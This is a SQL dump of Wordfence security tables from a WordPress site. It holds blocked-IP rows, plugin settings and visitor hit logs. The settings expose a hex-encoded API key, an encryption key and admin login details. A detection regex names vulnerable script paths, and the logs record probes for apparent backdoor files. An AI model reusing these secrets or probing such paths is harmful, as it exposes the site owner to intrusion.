(1449745144, 1493296040, 'Blocked by Wordfence Security Network', 1493296043, 4, 1, 0),
(1887828803, 1493302076, 'Blocked by Wordfence Security Network', 1493302079, 4, 1, 0),
(2391196847, 1493269667, 'Blocked by Wordfence Security Network', 1493269670, 4, 1, 0),
(1892041857, 1493261050, 'Blocked by Wordfence Security Network', 1493261053, 4, 1, 0),
(3142072067, 1493256849, 'Blocked by Wordfence Security Network', 1493256852, 4, 1, 0),
(3159244987, 1493253264, 'Blocked by Wordfence Security Network', 1493253266, 4, 1, 0),
(86750727, 1493245537, 'Blocked by Wordfence Security Network', 1493245540, 4, 1, 0),
(1833643342, 1493233679, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(2760119799, 1493230816, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1835651188, 1493216472, 'Blocked by Wordfence Security Network', 1493216475, 4, 1, 0),
(702781337, 1493197801, 'Blocked by Wordfence Security Network', 1493197804, 4, 1, 0),
(832022104, 1493195192, 'Blocked by Wordfence Security Network', 1493195196, 4, 1, 0),
(3360841433, 1493176793, 'Blocked by Wordfence Security Network', 1493176797, 4, 1, 0),
(1590804861, 1493169152, 'Blocked by Wordfence Security Network', 1493169155, 4, 1, 0),
(1223522106, 1493168329, 'Blocked by Wordfence Security Network', 1493168332, 4, 1, 0),
(3182212288, 1493165930, 'Blocked by Wordfence Security Network', 1493165933, 4, 1, 0),
(1565928623, 1493163212, 'Blocked by Wordfence Security Network', 1493163215, 4, 1, 0),
(2957549377, 1493158682, 'Blocked by Wordfence Security Network', 1493158685, 4, 1, 0),
(3017071845, 1493152168, 'Blocked by Wordfence Security Network', 1493152171, 4, 1, 0),
(702589396, 1493141221, 'Blocked by Wordfence Security Network', 1493141224, 4, 1, 0),
(1589523921, 1493332454, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1293756220, 1493132339, 'Blocked by Wordfence Security Network', 1493132341, 4, 1, 0),
(2738198454, 1493104871, 'Blocked by Wordfence Security Network', 1493104875, 4, 1, 0),
(1401323221, 1493121788, 'Blocked by Wordfence Security Network', 1493121790, 4, 1, 0),
(1887842097, 1493123094, 'Blocked by Wordfence Security Network', 1493123097, 4, 1, 0),
(2943288819, 1493104704, 'Blocked by Wordfence Security Network', 1493104708, 4, 1, 0),
(702756256, 1493104435, 'Blocked by Wordfence Security Network', 1493104438, 4, 1, 0),
(1741772220, 1493098899, 'Blocked by Wordfence Security Network', 1493098903, 4, 1, 0),
(3754818252, 1493087945, 'Blocked by Wordfence Security Network', 1493087949, 4, 1, 0),
(2637388761, 1493087466, 'Blocked by Wordfence Security Network', 1493087469, 4, 1, 0),
(2399207350, 1493087412, 'Blocked by Wordfence Security Network', 1493087415, 4, 1, 0),
(2320235926, 1493085701, 'Blocked by Wordfence Security Network', 1493085704, 4, 1, 0),
(842254621, 1493079982, 'Blocked by Wordfence Security Network', 1493079985, 4, 1, 0),
(86724239, 1493075786, 'Blocked by Wordfence Security Network', 1493075788, 4, 1, 0),
(1473126706, 1493071787, 'Blocked by Wordfence Security Network', 1493071789, 4, 1, 0),
(1837181866, 1493068009, 'Blocked by Wordfence Security Network', 1493068011, 4, 1, 0),
(1242501469, 1493057105, 'Blocked by Wordfence Security Network', 1493057107, 4, 1, 0),
(1459691243, 1493057139, 'Blocked by Wordfence Security Network', 1493057142, 4, 1, 0),
(1484515861, 1493055055, 'Blocked by Wordfence Security Network', 1493055057, 4, 1, 0),
(1892753981, 1493053170, 'Blocked by Wordfence Security Network', 1493053174, 4, 1, 0),
(837089132, 1493036722, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(2057029096, 1493015499, 'Blocked by Wordfence Security Network', 1493015504, 4, 1, 0),
(3149830434, 1493000029, 'Blocked by Wordfence Security Network', 1493000032, 4, 1, 0),
(694229235, 1492994207, 'Blocked by Wordfence Security Network', 1492994209, 4, 1, 0),
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(736163900, 1494310133, 'Blocked by Wordfence Security Network', 1494310208, 83, 1, 0),
(1299175467, 1494345339, 'Blocked by Wordfence Security Network', 1494345341, 1, 1, 0),
(1743847615, 1494520585, 'Blocked by Wordfence Security Network', 1494520591, 1, 1, 0),
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(1391229745, 1499006476, 'Blocked by Wordfence Security Network', 1499006479, 4, 1, 0),
(3319952174, 1499017018, 'Blocked by Wordfence Security Network', 1499017021, 4, 1, 0),
(1363303233, 1499031006, 'Blocked by Wordfence Security Network', 1499031008, 4, 1, 0),
(3560722714, 1499039147, 'Blocked by Wordfence Security Network', 1499039150, 4, 1, 0),
(1435830550, 1499041593, 'Blocked by Wordfence Security Network', 1499041596, 4, 1, 0),
(3291887408, 1499045004, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(1570530821, 1499049012, 'Blocked by Wordfence Security Network', 1499049015, 4, 1, 0),
(3497108325, 1499063259, 'Blocked by Wordfence Security Network', 1499063260, 1, 1, 0),
(694199286, 1499095491, 'Blocked by Wordfence Security Network', 1499095494, 4, 1, 0),
(694508115, 1499107561, 'Blocked by Wordfence Security Network', 1499107564, 4, 1, 0),
(3033775030, 1499116960, 'Blocked by Wordfence Security Network', 1499116963, 4, 1, 0),
(1307411185, 1499118227, 'Blocked by Wordfence Security Network', 1499118230, 4, 1, 0),
(3135066780, 1499118299, 'Blocked by Wordfence Security Network', 1499118302, 4, 1, 0),
(1800230200, 1499131954, 'Blocked by Wordfence Security Network', 1499131957, 4, 1, 0),
(1040268236, 1499132310, 'Blocked by Wordfence Security Network', 1499132313, 4, 1, 0),
(3561984809, 1499168133, 'Blocked by Wordfence Security Network', 1499168135, 4, 1, 0),
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(1807545404, 1499206900, 'Blocked by Wordfence Security Network', 1499206903, 4, 1, 0),
(1768344095, 1499210805, 'Blocked by Wordfence Security Network', 1499210808, 4, 1, 0),
(2955898566, 1499212035, 'Blocked by Wordfence Security Network', 1499212037, 4, 1, 0),
(1550636993, 1499239201, 'Blocked by Wordfence Security Network', 1499239204, 4, 1, 0),
(656512273, 1499239272, 'Blocked by Wordfence Security Network', 1499239275, 4, 1, 0),
(996019409, 1499250375, 'Blocked by Wordfence Security Network', 1499250378, 4, 1, 0),
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(1081048870, 1499279619, 'Blocked by Wordfence Security Network', 1499279620, 1, 1, 0),
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(1326228420, 1499820445, 'Blocked by Wordfence Security Network', 1499820448, 4, 1, 0),
(1471709157, 1499853773, 'Blocked by Wordfence Security Network', 1499853775, 4, 1, 0),
(2393026044, 1499868369, 'Blocked by Wordfence Security Network', 1499868372, 4, 1, 0),
(2152704098, 1499886809, 'Blocked by Wordfence Security Network', 1499886811, 4, 1, 0),
(42616701, 1499890032, 'Blocked by Wordfence Security Network', 1499890034, 4, 1, 0),
(1581302042, 1499900484, 'Blocked by Wordfence Security Network', 1499900487, 4, 1, 0),
(1235952074, 1499918354, 'Blocked by Wordfence Security Network', 1499918356, 4, 1, 0),
(915750734, 1499950981, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(3481717135, 1499965444, 'Blocked by Wordfence Security Network', 1499965447, 4, 1, 0),
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(3197462569, 1499993182, 'Blocked by Wordfence Security Network', 1499993185, 4, 1, 0),
(2927706329, 1499993631, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(920891349, 1500001332, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
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(3577295515, 1500011864, 'Blocked by Wordfence Security Network', 1500011867, 4, 1, 0),
(455217818, 1500023470, 'Blocked by Wordfence Security Network', 1500023473, 4, 1, 0),
(1337027635, 1500048293, 'Blocked by Wordfence Security Network', 1500048296, 4, 1, 0),
(634555953, 1500054931, 'Blocked by Wordfence Security Network', 1500054934, 4, 1, 0),
(404453904, 1500062586, 'Blocked by Wordfence Security Network', 1500062589, 4, 1, 0),
(692377094, 1500063161, 'Blocked by Wordfence Security Network', 1500063165, 4, 1, 0),
(1376975531, 1500073515, 'Blocked by Wordfence Security Network', 1500073518, 4, 1, 0),
(3141400205, 1500087266, 'Blocked by Wordfence Security Network', 1500087270, 4, 1, 0),
(585330554, 1500087688, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1293927825, 1500094419, 'Blocked by Wordfence Security Network', 1500094422, 4, 1, 0),
(835573799, 1500095941, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1976044991, 1500106175, 'Blocked by Wordfence Security Network', 1500106179, 4, 1, 0),
(1297608708, 1500106398, 'Blocked by Wordfence Security Network', 1500106400, 4, 1, 0),
(874893407, 1500126458, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(585291184, 1500152033, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3319954936, 1500160451, 'Blocked by Wordfence Security Network', 1500160454, 4, 1, 0),
(3042655538, 1500169905, 'Blocked by Wordfence Security Network', 1500169908, 4, 1, 0),
(3361094801, 1500178800, 'Blocked by Wordfence Security Network', 1500178804, 4, 1, 0),
(919161641, 1500178945, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1678835878, 1500181716, 'Blocked by Wordfence Security Network', 1500181718, 4, 1, 0),
(1744517895, 1500185547, 'Blocked by Wordfence Security Network', 1500185550, 4, 1, 0),
(584188065, 1500224743, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1887841908, 1500264744, 'Blocked by Wordfence Security Network', 1500264747, 4, 1, 0),
(1539428482, 1500281761, 'Blocked by Wordfence Security Network', 1500281764, 4, 1, 0),
(874738092, 1500333061, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1729078788, 1500314583, 'Blocked by Wordfence Security Network', 1500314586, 4, 1, 0),
(3164695660, 1500326083, 'Blocked by Wordfence Security Network', 1500326086, 4, 1, 0),
(1855096721, 1500346158, 'Blocked by Wordfence Security Network', 1500346162, 4, 1, 0),
(1237999338, 1500346277, 'Blocked by Wordfence Security Network', 1500346281, 4, 1, 0),
(598145435, 1500357616, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1422229100, 1500365654, 'Blocked by Wordfence Security Network', 1500365656, 4, 1, 0),
(598069797, 1500376266, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(885815617, 1500386439, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3680266720, 1500390057, 'Blocked by Wordfence Security Network', 1500390060, 4, 1, 0),
(1324837478, 1500397437, 'Blocked by Wordfence Security Network', 1500397439, 4, 1, 0),
(911757147, 1500397669, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3410419836, 1500411035, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3269181341, 1500415346, 'Blocked by Wordfence Security Network', 1500415348, 4, 1, 0),
(3120616689, 1500444655, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3114828415, 1500446782, 'Blocked by Wordfence Security Network', 0, 0, 1, 0);

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfBlocksAdv`
--

CREATE TABLE `wp_wfBlocksAdv` (
  `id` int(10) UNSIGNED NOT NULL,
  `blockType` char(2) NOT NULL,
  `blockString` varchar(255) NOT NULL,
  `ctime` int(10) UNSIGNED NOT NULL,
  `reason` varchar(255) NOT NULL,
  `totalBlocked` int(10) UNSIGNED DEFAULT '0',
  `lastBlocked` int(10) UNSIGNED DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfConfig`
--

CREATE TABLE `wp_wfConfig` (
  `name` varchar(100) NOT NULL,
  `val` longblob
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_wfConfig`
--

INSERT INTO `wp_wfConfig` (`name`, `val`) VALUES
('alertOn_critical', 0x31),
('alertOn_update', 0x30),
('alertOn_warnings', 0x31),
('alertOn_throttle', 0x30),
('alertOn_block', 0x31),
('alertOn_loginLockout', 0x31),
('alertOn_lostPasswdForm', 0x31),
('alertOn_adminLogin', 0x31),
('alertOn_nonAdminLogin', 0x30),
('liveTrafficEnabled', 0x31),
('advancedCommentScanning', 0x30),
('checkSpamIP', 0x30),
('spamvertizeCheck', 0x30),
('liveTraf_ignorePublishers', 0x31),
('scheduledScansEnabled', 0x31),
('scansEnabled_public', 0x30),
('scansEnabled_heartbleed', 0x31),
('scansEnabled_core', 0x31),
('scansEnabled_themes', 0x30),
('scansEnabled_plugins', 0x30),
('scansEnabled_malware', 0x31),
('scansEnabled_fileContents', 0x31),
('scansEnabled_posts', 0x31),
('scansEnabled_comments', 0x31),
('scansEnabled_passwds', 0x31),
('scansEnabled_diskSpace', 0x31),
('scansEnabled_options', 0x31),
('scansEnabled_dns', 0x31),
('scansEnabled_scanImages', 0x30),
('scansEnabled_highSense', 0x30),
('scansEnabled_oldVersions', 0x31),
('firewallEnabled', 0x31),
('blockFakeBots', 0x30),
('autoBlockScanners', 0x31),
('loginSecurityEnabled', 0x31),
('loginSec_lockInvalidUsers', 0x30),
('loginSec_maskLoginErrors', 0x31),
('loginSec_blockAdminReg', 0x31),
('loginSec_disableAuthorScan', 0x31),
('other_hideWPVersion', 0x31),
('other_noAnonMemberComments', 0x31),
('other_blockBadPOST', 0x30),
('other_scanComments', 0x31),
('other_pwStrengthOnUpdate', 0x31),
('other_WFNet', 0x31),
('other_scanOutside', 0x30),
('deleteTablesOnDeact', 0x30),
('autoUpdate', 0x30),
('disableCookies', 0x30),
('startScansRemotely', 0x30),
('addCacheComment', 0x30),
('disableCodeExecutionUploads', 0x30),
('allowHTTPSCaching', 0x30),
('debugOn', 0x30),
('email_summary_enabled', 0x31),
('email_summary_dashboard_widget_enabled', 0x31),
('securityLevel', 0x32),
('alertEmails', ''),
('liveTraf_ignoreUsers', ''),
('liveTraf_ignoreIPs', ''),
('liveTraf_ignoreUA', ''),
('apiKey', 0x35653835383332353537306463373164353737663630323633336665353961313861333361633935613838633536373361353637376464663132346464326161306638353931386638333461353733303739363033346362613735363862366263353563313433663938373263636532336137333663633462646362646131323936326531663332343863646466363231623161316539353237616363386665),
('maxMem', 0x323536),
('scan_exclude', ''),
('whitelisted', ''),
('bannedURLs', ''),
('maxExecutionTime', ''),
('howGetIPs', ''),
('actUpdateInterval', ''),
('alert_maxHourly', 0x30),
('loginSec_userBlacklist', ''),
('neverBlockBG', 0x6e65766572426c6f636b5665726966696564),
('loginSec_countFailMins', 0x323430),
('loginSec_lockoutMins', 0x323430),
('loginSec_strongPasswds', 0x70756273),
('loginSec_maxFailures', 0x3230),
('loginSec_maxForgotPasswd', 0x3230),
('maxGlobalRequests', 0x44495341424c4544),
('maxGlobalRequests_action', 0x7468726f74746c65),
('maxRequestsCrawlers', 0x44495341424c4544),
('maxRequestsCrawlers_action', 0x7468726f74746c65),
('maxRequestsHumans', 0x44495341424c4544),
('maxRequestsHumans_action', 0x7468726f74746c65),
('max404Crawlers', 0x44495341424c4544),
('max404Crawlers_action', 0x7468726f74746c65),
('max404Humans', 0x44495341424c4544),
('max404Humans_action', 0x7468726f74746c65),
('maxScanHits', 0x44495341424c4544),
('maxScanHits_action', 0x7468726f74746c65),
('blockedTime', 0x333030),
('email_summary_interval', 0x62697765656b6c79),
('email_summary_excluded_directories', 0x77702d636f6e74656e742f63616368652c77702d636f6e74656e742f776663616368652c77702d636f6e74656e742f706c7567696e732f776f726466656e63652f746d70),
('encKey', 0x32353266636533393739666437386366),
('vulnRegex', 0x2f283f3a776f726466656e63655f746573745f76756c6e5f6d617463687c5c2f74696d7468756d625c2e7068707c5c2f7468756d625c2e7068707c5c2f7468756d62735c2e7068707c5c2f7468756d626e61696c5c2e7068707c5c2f7468756d626e61696c735c2e7068707c5c2f7468756d6e61696c735c2e7068707c5c2f63726f707065725c2e7068707c5c2f70696373697a655c2e7068707c5c2f726573697a65725c2e7068707c636f6e6e6563746f72735c2f75706c6f6164746573745c2e68746d6c7c636f6e6e6563746f72735c2f746573745c2e68746d6c7c6d696e676c65666f72756d616374696f6e7c75706c6f61646966795c2e7068707c616c6c7765626d656e75732d776f726470726573732d6d656e752d706c7567696e7c77702d6379636c652d706c61796c6973747c636f756e742d7065722d6461797c77702d6175746f796f75747562657c7061792d776974682d74776565747c636f6d6d656e742d726174696e675c2f636b2d70726f636573736b61726d615c2e706870292f69),
('welcomeClosed', 0x31),
('wf_summaryItems', 0x613a31363a7b733a31303a22746f74616c5573657273223b693a333b733a31303a22746f74616c5061676573223b733a323a223130223b733a31303a22746f74616c506f737473223b733a313a2231223b733a31333a22746f74616c436f6d6d656e7473223b733a333a22313435223b733a31353a22746f74616c43617465676f72696573223b733a313a2231223b733a31313a22746f74616c5461626c6573223b693a35373b733a393a22746f74616c526f7773223b693a34343731313b733a31323a22746f74616c506c7567696e73223b693a31343b733a31303a226c617374557064617465223b693a313439323332303236323b733a31313a22746f74616c5468656d6573223b693a343b733a393a22746f74616c44617461223b733a383a2233372e3638204d42223b733a31303a22746f74616c46696c6573223b693a323431313b733a393a22746f74616c44697273223b693a3334393b733a31303a226c696e65734f66504850223b693a3339363339323b733a31303a226c696e65734f664a4348223b693a3131333738333b733a383a227363616e54696d65223b643a313439323332303236322e3039343730353130343832373838303835393337353b7d),
('tourClosed', 0x31),
('totalScansRun', 0x31333335),
('wfKillRequested', 0x30),
('currentCronKey', ''),
('wf_scanRunning', ''),
('wfStatusStartMsgs', 0x613a31333a7b693a303b733a303a22223b693a313b733a303a22223b693a323b733a303a22223b693a333b733a303a22223b693a343b733a303a22223b693a353b733a303a22223b693a363b733a303a22223b693a373b733a303a22223b693a383b733a303a22223b693a393b733a303a22223b693a31303b733a303a22223b693a31313b733a303a22223b693a31323b733a303a22223b7d),
('wf_dnsCNAME', 0x7777772e63726f7373747261696e696e6763656e7465722e626520706f696e747320746f2063726f7373747261696e696e6763656e7465722e6265),
('wf_dnsA', 0x63726f7373747261696e696e6763656e7465722e626520706f696e747320746f203231332e3138362e33332e33),
('wf_dnsMX', ''),
('wf_dnsLogged', 0x31),
('lastScanCompleted', 0x6f6b),
('wfPeakMemory', 0x3735373836343438),
('totalLoginHits', 0x313037303032),
('totalLogins', 0x36),
('lastAdminLogin', 0x613a363a7b733a363a22757365724944223b693a313b733a383a22757365726e616d65223b733a353a2261646d696e223b733a393a2266697273744e616d65223b733a303a22223b733a383a226c6173744e616d65223b733a303a22223b733a343a2274696d65223b733a32363a2253756e2031367468204a756c7920402030373a35363a3131414d223b733a323a224950223b733a31343a2236322e3233352e3231352e323331223b7d),
('totalAlertsSent', 0x35363838),
('lastScheduledScanStart', 0x31343932333230323330),
('totalCommentsFiltered', 0x3430),
('total503s', 0x3431333339),
('totalIPsBlocked', 0x3330393737),
('totalIPsLocked', 0x35363833),
('wfsd_engine', ''),
('totalIPsThrottled', 0x31),
('totalSpamStopped', 0x31);

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfCrawlers`
--

CREATE TABLE `wp_wfCrawlers` (
  `IP` int(10) UNSIGNED NOT NULL,
  `patternSig` binary(16) NOT NULL,
  `status` char(8) NOT NULL,
  `lastUpdate` int(10) UNSIGNED NOT NULL,
  `PTR` varchar(255) DEFAULT ''
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

-- --------------------------------------------------------

--
-- Structure de la table `wp_wfFileMods`
--

CREATE TABLE `wp_wfFileMods` (
  `filenameMD5` binary(16) NOT NULL,
  `filename` varchar(1000) NOT NULL,
  `knownFile` tinyint(3) UNSIGNED NOT NULL,
  `oldMD5` binary(16) NOT NULL,
  `newMD5` binary(16) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_wfFileMods`
--

INSERT INTO `wp_wfFileMods` (`filenameMD5`, `filename`, `knownFile`, `oldMD5`, `newMD5`) VALUES
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-- --------------------------------------------------------

--
-- Structure de la table `wp_wfHits`
--

CREATE TABLE `wp_wfHits` (
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  `ctime` double(17,6) UNSIGNED NOT NULL,
  `IP` int(10) UNSIGNED NOT NULL,
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  `userID` int(10) UNSIGNED NOT NULL,
  `newVisit` tinyint(3) UNSIGNED NOT NULL,
  `URL` text,
  `referer` text,
  `UA` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Déchargement des données de la table `wp_wfHits`
--

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(75946, 1498230413.579527, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75947, 1498230414.047570, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75948, 1498230414.501000, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75949, 1498230415.047806, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75950, 1498230415.564200, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75951, 1498230415.995788, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75952, 1498230416.497015, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75953, 1498230416.940457, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
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(75957, 1498235723.632216, 1833311020, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-forms-ajax.php.suspected', 'http://crosstrainingcenter.be/wp-forms-ajax.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75958, 1498236018.651936, 1540278570, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/logo_img.php.suspected', 'http://crosstrainingcenter.be/logo_img.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75959, 1498240292.480851, 1364734211, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/db_info.class.php.suspected', 'http://crosstrainingcenter.be/wp-content/plugins/wp-db-ajax-made/db_info.class.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
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(75961, 1498243354.130421, 1374769563, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1'),
(75962, 1498243354.657742, 1374769563, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75963, 1498243355.255191, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75964, 1498243355.697259, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75965, 1498243356.109652, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75966, 1498243356.539022, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75967, 1498243357.016430, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75968, 1498243357.519400, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-120x120.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75969, 1498243358.143650, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75970, 1498243358.603521, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/apple-touch-icon.png', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75971, 1498243359.159270, 1374769563, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'MobileSafari/602.1 CFNetwork/811.5.4 Darwin/16.6.0'),
(75972, 1498250153.658155, 2461654898, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/le-cross-training/', 'http://www.crosstrainingcenter.be/le-cross-training/', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36'),
(75973, 1498250602.573473, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.2.5 (KHTML, like Gecko)'),
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(75976, 1498250603.916568, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(75979, 1498250605.393180, 1837280593, 0, 1, 0, 0, 0, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
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(75987, 1498252457.412265, 1123631300, 0, 0, 1, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'),
(75988, 1498252457.896817, 1123631300, 0, 1, 1, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/figero/images/favicon.ico', '', 'Googlebot-Image/1.0'),
(75989, 1498253926.204401, 96995098, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/changelog.php', 'http://crosstrainingcenter.be/changelog.php', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75990, 1498255064.346648, 3024883475, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/en-images/', '', 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'),
(75991, 1498255854.821187, 786801765, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/robots.txt', '', 'Mozilla/5.0 (compatible; SemrushBot/1.2~bl; +http://www.semrush.com/bot.html)'),
(75992, 1498265191.216211, 3106783463, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'http://crosstrainingcenter.be/', 'Go-http-client/1.1'),
(75993, 1498265748.726695, 872366369, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/lequipe/', '', 'Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)'),
(75994, 1498268758.577947, 2745959577, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', 'http://www.crosstrainingcenter.be/', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;  Trident/5.0)'),
(75995, 1498269063.390864, 1338305565, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/sitemap.xml', '', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729)'),
(75996, 1498273632.099288, 1539836988, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/plugins/php-event-calendar/readme.txt', 'http://www.google.com/', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2896.3 Safari/537.36'),
(75997, 1498283815.398119, 1540872244, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/wp-content/themes/evolution/news_parser.class.php.suspected', 'http://crosstrainingcenter.be/wp-content/themes/evolution/news_parser.class.php.suspected', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4'),
(75998, 1498285104.610713, 1837280593, 0, 0, 0, 0, 1, 'http://www.crosstrainingcenter.be/', '', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.2.5 (KHTML, like Gecko)'),
(75999, 1498285105.116356, 1837280593, 0, 1, 0, 0, 1, 'http://www.crosstrainingcenter.be/apple-touch-icon-precomposed.png', '', 'Safari/11603.2.5 CFNetwork/760.6.5 Darwin/15.6.0 (x86_64)'),
